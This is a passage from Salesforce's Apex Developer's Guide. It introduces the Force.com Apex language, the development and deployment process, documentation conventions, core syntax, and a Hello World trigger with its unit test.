# Table of Contents

## Chapter 1: Introducing Force.com Apex Code

- What is Apex? ............................................................................................................................................. 8
- How Does Apex Work? ................................................................................................................................. 9
- What is the Apex Development Process? ...................................................................................................... 10
- When Should I Use Apex? ........................................................................................................................... 14
- What are the Limitations of Apex? ................................................................................................................ 15
- What's New? .................................................................................................................................................. 15

### Apex Quick Start

- Documentation Typographical Conventions ............................................................................................... 16
- Understanding Apex Core Concepts ............................................................................................................. 17
- Writing Your First Apex Script .................................................................................................................... 21

## Chapter 2: Language Constructs

- Data Types .................................................................................................................................................... 28
- Primitive Data Types .................................................................................................................................. 28
- sObject Types ............................................................................................................................................... 31
- Collections .................................................................................................................................................. 34
- Enums .......................................................................................................................................................... 39
- Understanding Rules of Conversion ............................................................................................................. 41
- Variables ....................................................................................................................................................... 41
- Case Sensitivity ............................................................................................................................................. 42
- Constants ..................................................................................................................................................... 42
- Expressions .................................................................................................................................................. 43
- Understanding Expressions .......................................................................................................................... 43
- Understanding Expression Operators ........................................................................................................... 44
- Understanding Operator Precedence ............................................................................................................ 49
- Extending sObject and List Expressions ....................................................................................................... 50
- Using Comments .......................................................................................................................................... 50
- Assignment Statements ................................................................................................................................. 50
- Conditional (If-Else) Statements .................................................................................................................. 52
- Loops ............................................................................................................................................................ 52
- Do–While Loops ............................................................................................................................................ 53
- While Loops ................................................................................................................................................. 53
- For Loops ..................................................................................................................................................... 53
- SOQL and SOSL Queries ............................................................................................................................... 57
- Working with SOQL and SOSL Query Results ............................................................................................. 58
- Working with SOQL Aggregate Functions ................................................................................................... 59
- Working with Very Large SOQL Queries ...................................................................................................... 60
- Using SOQL Queries That Return One Record ........................................................................................... 61
- Improving Performance by Not Searching on Null Values ......................................................................... 61
- Understanding Foreign Key and Parent–Child Relationship SOQL Queries .................................................. 62
Chapter 1

Introducing Force.com Apex Code

In this chapter ...

• What is Apex?
• What’s New?
• Apex Quick Start

Over the past several years, salesforce.com has changed the way organizations do business by moving enterprise applications that were traditionally client-server-based into an on-demand, multitenant Web environment. This environment, the Force.com platform, allows organizations to run and customize applications, such as Salesforce Automation and Service & Support, and build new custom applications based on particular business needs.

While many customization options are available through the Salesforce user interface, such as the ability to define new fields, objects, workflow, and approval processes, developers can also use the Web services API to issue data manipulation commands such as delete(), update() or upsert(), from client-side programs.

These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages grant organizations more flexibility in their customizations. However, because the controlling logic for these client-side programs is not located on Force.com platform servers, they are restricted by:

• The performance costs of making multiple round-trips to the salesforce.com site to accomplish common business transactions
• The cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment

To address these issues, and to revolutionize the way that developers create on-demand applications, salesforce.com introduces Force.com Apex code, the first multitenant, on-demand programming language for developers interested in building the next generation of business applications.

• What is Apex?—more about when to use Apex, the development process, and some limitations
• What’s new in this Apex release?
• Apex Quick Start—delve straight into the code and write your first Apex script

For more advanced developers, see the Apex Design Patterns on page 127.
What is Apex?

Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service requests and from triggers on objects.

As a language, Apex is:

Integrated

Apex provides built-in support for common Force.com platform idioms, including:

- Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException handling
- Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject records
- Looping that allows for bulk processing of multiple records at a time
- Locking syntax that prevents record update conflicts
- Custom public Force.com API calls that can be built from stored Apex methods
- Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex

Figure 1: You can add Apex to most system events.
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax, object and array notation, pass by reference, and so on. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand and encourage efficient use of the Force.com platform. Consequently, Apex produces code that is both succinct and easy to write.

Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server, much as developers use database stored procedures to thread together multiple transaction statements on a database server. Note that like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user interface.

Rigorous
Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata to ensure they are not deleted while required by active Apex scripts.

Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.

Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime engine is designed to guard closely against runaway scripts, preventing them from monopolizing shared resources. Any scripts that violate these limits fail with easy-to-understand error messages.

Automatically upgradeable
Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because the compiled code is stored as metadata in the platform, it always gets automatically upgraded with the rest of the system.

Easy to test
Apex provides built-in support for unit test creation and execution, including test results that indicate how much code is covered, and which parts of your code could be more efficient. Salesforce.com ensures that scripts always work as expected by executing all unit tests stored in metadata prior to any platform upgrades.

Versioned

How Does Apex Work?
All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram:
When a developer writes and saves an Apex script to the platform, the platform application server first compiles the code into an abstract set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.

When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the result. The end-user observes no differences in execution time from standard platform requests.

What is the Apex Development Process?

Before you begin developing Apex, you need to understand the development process that salesforce.com recommends:

1. Obtain a Developer Edition account.
2. Learn more about Apex.
3. Write your Apex.
4. While writing Apex, you should also be writing tests.
5. Optionally deploy your Apex to a sandbox organization and do final unit tests.
6. Deploy your Apex to your Salesforce production organization.

In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange App package.

Obtaining a Developer Edition Account

There are three types of organizations where you can run your Apex:

- A developer organization: an organization created with a Developer Edition account.
- A production organization: an organization that has live users accessing your data.
- A sandbox organization: an organization created on your production organization that is a copy of your production organization.
Apex triggers are available in the Trial Edition of Salesforce; however, they are disabled when you convert to any other edition. If your newly-signed-up organization includes Apex, you must deploy your code to your organization using one of the deployment methods.

You cannot develop Apex in your Salesforce production organization. Live users accessing the system while you are developing can destabilize your data or corrupt your application. Instead, salesforce.com recommends that you do all your development work in either a sandbox or a Developer Edition organization.

If you are not already a member of the developer community, go to http://developer.force.com/join and follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer Edition organization. Even if you already have an Enterprise or Unlimited Edition organization and a sandbox for creating Apex, salesforce.com strongly recommends that you take advantage of the resources available in the developer community.

You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization.

Learning Apex

After you have your developer account, there are many resources available to you for learning about Apex:

**Force.com Workbook: Get Started Building Your First App in the Cloud**

Beginning programmers

A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials are centered around building a very simple warehouse management system. You'll start developing the application from the bottom up; that is, you'll first build a database model for keeping track of merchandise. You'll continue by adding business logic: validation rules to ensure that there is enough stock, workflow to update inventory when something is sold, approvals to send email notifications for large invoice values, and trigger logic to update the prices in open invoices. Once the database and business logic are complete, you'll create a user interface to display a product inventory to staff, a public website to display a product catalog, and then the start of a simple store front. If you'd like to develop offline and integrate with the app, we've added a final tutorial to use Adobe Flash Builder for Force.com.

**Developer Force Wiki**

Beginning and advanced programmers

Out on the Developer Force wiki, there are several entries about Apex:

- An Introduction to Apex
- Apex Code Best Practices
- Introduction to Apex Code Test Methods
- Governor Limits in Apex Code

**Force.com Cookbook**

Beginning and advanced programmers

This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages. The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices. You can read and comment on existing recipes, or submit your own recipes, at developer.force.com/cookbook.

**Development Life Cycle: Enterprise Development on the Force.com Platform**

Architects and advanced programmers

Whether you are an architect, administrator, developer, or manager, the Development Life Cycle Guide prepares you to undertake the development and release of complex applications on the Force.com platform.
Training Courses

Training classes are also available from salesforce.com Training & Certification. You can find a complete list of courses at www.salesforce.com/training.

In This Book (Apex Developer’s Guide)

Beginning programmers should look at the following:

- Introducing Force.com Apex Code, and in particular:
  - Documentation Conventions
  - Core Concepts
  - Hello World Programming Example
- Classes, Objects, and Interfaces
- Testing Apex
- Understanding Execution Governors and Limits

In addition to the above, advanced programmers should look at:

- Apex Design Patterns
- Advanced Apex Programming Example
- Understanding Apex Describe Information
- Asynchronous Execution (@future Annotation)
- Batch Apex and Apex Scheduler

Writing Apex

You can write Apex scripts and tests in any of the following editing environments:

- The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development, including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and usage.
- The Salesforce user interface. All scripts are compiled when they are saved, and any syntax errors are flagged. You cannot save your code until it compiles without errors. The Salesforce user interface also numbers the lines in a script, and uses color coding to distinguish different elements, such as comments, keywords, literal strings, and so on.
  - For a trigger on a standard object, click Your Name ➤ Setup ➤ Customize, click the name of the object, and click Triggers. In the Triggers detail page, click New, and then enter your code in the Body text box.
  - For a trigger on a custom object, click Your Name ➤ Setup ➤ Develop ➤ Objects, and click the name of the object. In the Triggers related list, click New, and then enter your code in the Body text box.
  - For a class, click Your Name ➤ Setup ➤ Develop ➤ Apex Classes. Click New, and then enter your code in the Body text box.

  Note: You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization.

- Any text editor, such as Notepad. You can write your Apex script, then either copy and paste it into your application, or use one of the API calls to deploy it.

  Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the Web services API includes methods for compiling triggers and classes, and executing test methods, while the Metadata API includes methods
for deploying code to production environments. For more information, see Deploying Apex Scripts on page 431 and Web Services API Calls and SOAP Headers for Apex on page 460.

Writing Tests

Testing is the key to successful long term development, and is a critical component of the development process. salesforce.com strongly recommends that you use a test-driven development process, that is, test development that occurs at the same time as code development.

To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition.

In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true:

- 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
  
  Note the following:
  - When deploying to a production organization, every unit test in your organization namespace is executed.
  - Calls to System.debug are not counted as part of Apex code coverage in unit tests.
  - While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.
  - Every trigger has some test coverage.
  - All classes and triggers compile successfully.

For more information on writing tests, see Testing Apex on page 129.

Deploying Apex to a Sandbox Organization

Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your Salesforce production organization. These copies are called sandboxes and are nearly identical to your Salesforce production organization. Sandboxes are completely isolated from your Salesforce production organization, so operations you perform in your sandboxes do not affect your Salesforce production organization, and vice-versa.

To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.developerforce.com/index.php/Force.com_IDE.

You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.

A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of classes, or a namespace.

Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement your own deployment code.

For more information, see Using the Force.com Migration Tool on page 432 and Deploying Apex Scripts on page 431.

Deploying Apex to a Salesforce Production Organization

After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to your Salesforce production organization.

To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.developerforce.com/index.php/Force.com_IDE.
You can also use the `compileAndTest` API call to deploy Apex to a Salesforce production organization. For more information, see Deploying Apex Scripts on page 431.

Adding Apex Scripts to a Force.com AppExchange App

You can also include an Apex script in an app that you are creating for AppExchange. Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, all tests are run when the package is installed in the installer's organization. The installer can decide whether or not to install the package if any tests fail.

In addition, salesforce.com recommends that any AppExchange package that contains Apex be a managed package. For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages, see Developing Apex in Managed Packages on page 193.

**Note:** Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the package, enable the Translation Workbench and explicitly package the individual languages used in the translated custom labels. See “Custom Labels Overview” in the Salesforce online help.

When Should I Use Apex?

The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and developers to implement custom functionality. These include Apex, Visualforce, and the Web services API.

**Apex**

Use Apex if you want to:
- Create Web services
- Create email services
- Perform complex validation over multiple objects
- Create complex business processes that are not supported by workflow
- Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object)
- Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless of whether it originates in the user interface, a Visualforce page, or from the Web Services API

**Visualforce**

Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing the Salesforce user interface. With Visualforce you can:
- Build wizards and other multistep processes
- Create your own custom flow control through an application
- Define navigation patterns and data-specific rules for optimal, efficient application interaction

For more information, see the Visualforce Developer's Guide.
Web Services API

Use standard Force.com Web Services API calls if you want to add functionality to a composite application that processes only one type of record at a time and does not require any transactional control (such as setting a Savepoint or rolling back changes).

For more information, see the Web Services API Developer's Guide.

What are the Limitations of Apex?

Apex radically changes the way that developers create on-demand business applications, but it is not currently meant to be a general purpose programming language. As of this release, Apex cannot be used to:

- Render elements in the user interface other than error messages
- Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality
- Create temporary files
- Spawn threads

Tip:

All Apex runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL) that it can perform within one process.

All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you do not, you may run into the governor limits.

See Also:

Understanding Execution Governors and Limits
Apex Design Patterns

What's New?


Apex Quick Start

Once you have a Developer Edition organization and have chosen which tool you want to use to write your Apex scripts, you will want to learn some of the core concepts of Apex. Because Apex is very similar to Java, you may recognize much of the functionality.

After reviewing the basics, you are ready to write your first Apex program—a very simple “Hello World” script. After you write the script you can expand it, with unit tests.

In addition, there is a more complex shipping invoice example that you can also walk through. This example illustrates many more features of the language.
**Note:** The Hello World script and the shipping invoice example require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex scripts as a managed packaged from Force.com AppExchange. For more information, see [wiki.developerforce.com/index.php/Documentation](https://wiki.developerforce.com/index.php/Documentation).

**Documentation Typographical Conventions**

Apex and Visualforce documentation uses the following typographical conventions.

<table>
<thead>
<tr>
<th>Convention</th>
<th>Description</th>
</tr>
</thead>
</table>
| Courier font | In descriptions of syntax, monospace font indicates items that you should type as shown, except for brackets. For example:  
  
  Public class HelloWorld |
| Italics | In description of syntax, italics represent variables. You supply the actual value. In the following example, three values need to be supplied:  
  
  `datatype variable_name [= value];`  
  
  If the syntax is bold and italic, the text represents a code element that needs a value supplied by you, such as a class name or variable value:  
  
  `public static class YourClassHere { ... }` |
| `< >` | In descriptions of syntax, less-than and greater-than symbols (`<>`) are typed exactly as shown.  
  
  `<apex:pageBlockTable value="{!account.Contacts}" var="contact">  
  
  <apex:column value="{!contact.Name}"/>  
  
  <apex:column value="{!contact.MailingCity}"/>  
  
  <apex:column value="{!contact.Phone}"/>  
  
  </apex:pageBlockTable>` |
| `{ }` | In descriptions of syntax, braces (`{ }`) are typed exactly as shown.  
  
  `<apex:page>  
  
  Hello {!!$User.FirstName}!  
  
  </apex:page>` |
| `[]` | In descriptions of syntax, anything included in brackets is optional. In the following example, specifying `value` is optional:  
  
  `datatype variable_name [= value];` |
| `|` | In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all). In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set:  
  
  `Set<datatype> set_name  
  [= new Set<datatype>()] |  
  [= new Set<datatype>{value [, value2 . . .]}];] |  
  ;` |
Understanding Apex Core Concepts

A typical Apex script contains many things that you might be familiar with from other programming languages:

```apex
Integer NUM = 10;
Account[] accs;
// Clean up old data
accs = [SELECT Id FROM Account WHERE name LIKE 'test%'];
Delete accs;

accs = new Account[NUM];
For (Integer I = 0; I < NUM; I++) {
    accs[I] = new Account(name='test ' + I,
                           outstandingshares__c = I);
}
insert accs;
Contact[] cons = new Contact[0];
For (Account acc : accs) {
    cons.add(new Contact(lastName = acc.name + '1',
                          accountid = acc.id));
    cons.add(new Contact(lastName = acc.name + '2',
                          accountid = acc.id));
}
Insert cons;
```

The section describes the basic functionality of Apex, as well as some of the core concepts.

Using Version Settings

In the Salesforce user interface you can specify a version of the Salesforce API against which to save your Apex class or trigger. This setting indicates not only the version of the Force.com Web services API to use, but which version of Apex as well. You can change the version after saving. Every class or trigger name must be unique. You cannot save the same class or trigger against different versions.

You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger.

For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce online help.
Naming Variables, Methods and Classes

You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of Apex and the Force.com platform, such as `list`, `test`, or `account`, as well as reserved keywords.

Using Variables and Expressions

Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects.

Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values later. Use the following syntax when declaring variables:

```apex
datatype variable_name [ = value];
```

**Tip:** Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.

The following are examples of variable declarations:

```apex
// The following variable has the data type of Integer with the name Count, // and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note // that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();
```

Also note that all primitive variables are passed by value, while all non-primitive data types are passed by reference.

Using Statements

A statement is any coded instruction that performs an action.

In Apex, statements must end with a semicolon and can be one of the following types:

- Assignment, such as assigning a value to a variable
- Conditional (if-else)
- Loops
  - Do-while
  - While
  - For
- Locking
- Data Manipulation Language (DML)
- Transaction Control
- Method Invoking
- Exception Handling

A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement would be allowed. For example:

```apex
if (true) {
    System.debug(1);
    System.debug(2);
```
In cases where a block consists of only one statement, the curly braces can be left off. For example:

```java
if (true)
    System.debug(1);
else
    System.debug(2);
```

### Using Collections

Apex has the following types of collections:

- Lists (arrays)
- Maps
- Sets

A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is important. You can have duplicate elements in a list.

The first index position in a list is always 0.

To create a list:

- Use the `new` keyword
- Use the `List` keyword followed by the element type contained within `<>` characters.

Use the following syntax for creating a list:

```java
List<datatype> list_name
    [= new List<datatype>();] |
    [= new List<datatype>{value [, value2. . .]};] |
```

The following example creates a list of Integer, and assigns it to the variable `My_List`. Remember, because Apex is strongly typed, you must declare the data type of `My_List` as a list of Integer.

```java
List<Integer> My_List = new List<Integer>();
```

For more information, see Lists on page 34.

A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can also contain more complex data types, such as sObjects.

To create a set:

- Use the `new` keyword
- Use the `Set` keyword followed by the primitive data type contained within `<>` characters

Use the following syntax for creating a set:

```java
Set<datatype> set_name
    [= new Set<datatype>();] |
    [= new Set<datatype>{value [, value2. . .]};] |
```
The following example creates a set of String. The values for the set are passed in using the curly braces `{}`.

```java
Set<String> My_String = new Set<String>{'a', 'b', 'c'};
```

For more information, see Sets on page 36.

A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must be unique.

To create a map:

- Use the new keyword
- Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in `<>` characters.

Use the following syntax for creating a map:

```java
Map<key_datatype, value_datatype> map_name
  [=new map<key_datatype, value_datatype>().]; |
  [=new map<key_datatype, value_datatype>(
    key1_value => value1_value,
    key2_value => value2_value . . .)]; ];
```

The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for the map are being passed in between the curly braces `{}` as the map is being created.

```java
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};
```

For more information, see Maps on page 37.

**Using Branching**

An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as follows:

```java
if (Condition) {
  // Do this if the condition is true
} else {
  // Do this if the condition is not true
}
```

For more information, see Conditional (If-Else) Statements on page 52.

**Using Loops**

While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing again and again based on a condition. Apex supports the following types of loops:

- Do-while
- While
- For

A Do-while loop checks the condition after the code has executed.

A While loop checks the condition at the start, before the code executes.

A For loop enables you to more finely control the condition used with the loop. In addition Apex supports traditional For loops where you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 52.

**Writing Your First Apex Script**

The following “Hello World” example illustrates many of the basic concepts of Apex. In this example, a custom Account field named **Hello** is updated with the text, “World” as its value whenever a new account is created.

**Note:** This example assumes that you have familiarity with the Salesforce application, and that you have already defined a custom text field on the standard Account object named **Hello**. For more information see “Creating Custom Fields” in the Salesforce online help.

This image shows the empty **Hello** field on an Account detail page after an account is created:

![Figure 4: The Hello field with no value](image)

To automatically update this field with the value “World,” click **Your Name ➤ Setup ➤ Develop ➤ Apex Classes**, click **New**, and then enter the following code in the **Body** text box.

```apex
// This class updates the Hello field on account records that are // passed to it.
public class MyHelloWorld {
    public static void addHelloWorld(Account[] accs)
    {
        for (Account a: accs){
            if (a.Hello__c != 'World') {
                a.Hello__c = 'World';
            }
        }
    }
}
```

Be sure to click **Save** when you have finished.

Note the first line of code:

```apex
public class MyHelloWorld {
```

Apex scripts are generally contained in **classes**. This class is defined as **public**, which means the class is available to other Apex scripts. For more information, see **Classes, Objects, and Interfaces** on page 88.
The second line of code is the start of a method definition:

```
public static void addHelloWorld(Account[] accs){
```

This method is called `addHelloWorld`, and is both public and static. Because it is a static method, you do not need to create an instance of the class in order to access the method—you can just use the name of the class followed by a dot (.) and the name of the method. For more information, see Static and Instance on page 97.

This method takes one parameter, a list of Account records, which is assigned to the variable `accs`.

The next section of code contains the rest of the method definition:

```
for (Account a:accs){
    if (a.Hello__c != 'World') {
        a.Hello__c = 'World';
    }
}
```

Notice the `__c` after the field name—`Hello__c`. This indicates that it is a custom field, that is, a field you created. Standard fields that are provided by default in Salesforce are accessed using the same type of dot notation but without the `__c`, for example, `Account.name`.

To run this piece of code, this example uses an Apex component called a trigger. A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All triggers run in bulk, that is, they process several records at once.

The following trigger is associated with the Account object and calls the `addHelloWorld` method we defined in the `HelloWorld` class. To add this trigger to your organization, click Your Name ➤ Setup ➤ Customize ➤ Accounts ➤ Triggers, click New, and then type in the following code, replacing what is automatically generated by the template:

```
trigger helloWorldAccountTrigger on Account (before insert) {
    Account[] accs = Trigger.new;
    MyHelloWorld.addHelloWorld(accs);
}
```

The first line of code defines the trigger:

```
trigger helloWorldAccountTrigger on Account (before insert) {
```

It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this trigger runs before new account records are inserted into the database.

The next line in the trigger creates a list of account records named `accs` and assigns it the contents of a trigger context variable called `Trigger.new`. Trigger context variables such as `Trigger.new` are implicitly defined in all triggers, and provide access to the records that caused the trigger to fire. In this case, `Trigger.new` contains all the new accounts that are about to be inserted.

```
Account[] accs = Trigger.new;
```

The next line in the code calls the method `addHelloWorld` in the `MyHelloWorld` class. It passes in the array of new accounts.

```
MyHelloWorld.addHelloWorld(accs);
```
Because this code runs on the `before insert` trigger event, you need to create a new record to run your code. To do so, click the Accounts tab, and then click New to create a new account. The only required field is the name. After you click Save, the Hello field is now populated with the value, “World”.

![Figure 5: The Hello Field is Populated After the Code Runs](image)

### Adding Tests to the Hello World Program

Testing and unit tests are an important part of the development process.

- You must have at least 75% of your Apex covered by unit tests to deploy your code to production environments. In addition, all triggers must have some test coverage.
- Salesforce recommends that you have 100% of your code covered by unit tests, where possible.
- Calls to `System.debug` are not counted as part of Apex code coverage in unit tests.

The following example uses the same class and trigger that you used in the previous example. To add testing to your program, you need to create a new class. To create a class, click Your Name ➤ Setup ➤ Develop ➤ Apex Classes, then click New. In the Body text box of the class, add the following:

```apex
@isTest
class HelloWorldTestClass {

    static testMethod void validateHelloWorld() {
        Account a = new Account(name='T1 Account');
        // Insert account
        insert a;

        // Retrieve account
        a = [SELECT hello__c FROM account WHERE Id =:a.id];

        // Test that HelloWorld program correctly added the value
        // "World" to the Hello field
        System.assertEquals('World', a.hello__c);
    }
}
```

Be sure to click Save when you have finished.

This class is defined using the annotation `@isTest`. Classes defined as such can only contain test methods. One advantage to creating a separate class for testing as opposed to adding test methods to an existing class is that classes defined with `@isTest` do not count against your organization limit of 2 MB for all Apex scripts. You can also add the `@isTest` annotation to individual methods. For more information, see [IsTest Annotation](#) on page 115 and [Understanding Execution Governors and Limits](#) on page 188.
The method **validateHelloWorld** is defined as a **testMethod**. This means that if any changes are made to the database, they are automatically rolled back when execution is complete.

First the test method creates a new account and inserts it into the database temporarily.

```java
Account a = new Account(name='T1 Account');
// Insert account
insert a;
```

Once the account is inserted, the code retrieves the account, using the ID that was initially assigned to the account when it was inserted:

```java
// Retrieve account
a = [SELECT hello__c FROM account WHERE Id =:a.id];
```

When the **HelloWorld** class runs, it is supposed to insert the word “World” into the **hello__c** field. The following line is the actual test, verifying that the method **addHelloWorld** actually ran, and produced the expected results:

```java
// Test that HelloWorld program correctly added the value
// "World" to the Hello field
System.assertEquals('World', a.hello__c);
```

To run this unit test, use the Salesforce user interface. Click **Your Name ➤ Setup ➤ Develop ➤ Apex Classes**, click the name of the class, **HelloWorldTestClass**, then click **Run Test**.

**Note:** Clicking **Run Test** is only available if you do not have access to the Apex Test Execution page.

After you use the Salesforce user interface to generate test results, the test result page contains the following sections. Each section can be expanded or collapsed.

- A summary section that details the number of tests run, the number of failures, and the percentage of Apex code that is covered by unit tests.

**Important:**
- You must have at least 75% of your Apex covered by unit tests to deploy your code to production environments. In addition, all triggers should have some test coverage.
- Salesforce recommends that you have 100% of your code covered by unit tests, where possible.
- Calls to **System.debug** are not counted as part of Apex code coverage in unit tests.

- Test failures, if any.
- A code coverage section.

This section lists all the classes and triggers in your organization, and the percentage of lines of code in each class and trigger that are covered by tests. If you click the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test.

- Test coverage warnings, if any.
- Debug log.

The debug log is automatically set to specific log levels and categories, which can’t be changed.
The following is an example of the top half of the result page:

![HelloWorldTest Result Page](image)

**Figure 6: HelloWorldTest Result Page**

**Note:** Apex Test Execution and Apex Test Results are part of a pilot program. To enable these tools for your organization, contact salesforce.com.

If you have access to the Apex Test Execution page:

1. Click Your Name ➤ Setup ➤ Develop ➤ Apex Test Execution.
2. Click Run Tests.
3. Select the class HelloWorldTestClass, then click Run.
4. Click Refresh to see the results of the test run. The page doesn’t refresh automatically.

After the test finishes running, go back to the list of classes. Click Your Name ➤ Setup ➤ Develop ➤ Apex Classes. Now you can:

- Click **Calculate your organization's code coverage** to see the amount of code in your organization that is covered by unit tests.
- In the Code Coverage column, click the 100% to see the lines of code covered by unit tests.

If you look at the list of triggers (click Your Name ➤ Setup ➤ Develop ➤ Apex Triggers) you’ll see that the trigger you wrote also has 100% of its code covered.
You can also see all the tests run for your entire organization for the last 30 days. Click Your Name ➤ Setup ➤ Develop ➤ Apex Test Results.
Chapter 2

Language Constructs

In this chapter ...

- Data Types
- Variables
- Expressions
- Assignment Statements
- Conditional (If-Else) Statements
- Loops
- SOQL and SOSL Queries
- Locking Statements
- Transaction Control
- Exception Statements

The following language constructs form the base parts of Apex:

- Data Types
- Variables
- Expressions
- Assignment Statements
- Conditional (If-Else) Statements
- Loops
- SOQL and SOSL Queries
- Locking Statements
- Transaction Control
- Exception Statements

Apex is contained in either a trigger or a class. For more information, see Triggers on page 68 and Classes, Objects, and Interfaces on page 88.
Data Types

In Apex, all variables and expressions have a data type that is one of the following:

- A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 28)
- An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see sObject Types on page 31)
- A collection, including:
  - A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page 34)
  - A set of primitives (see Sets on page 36)
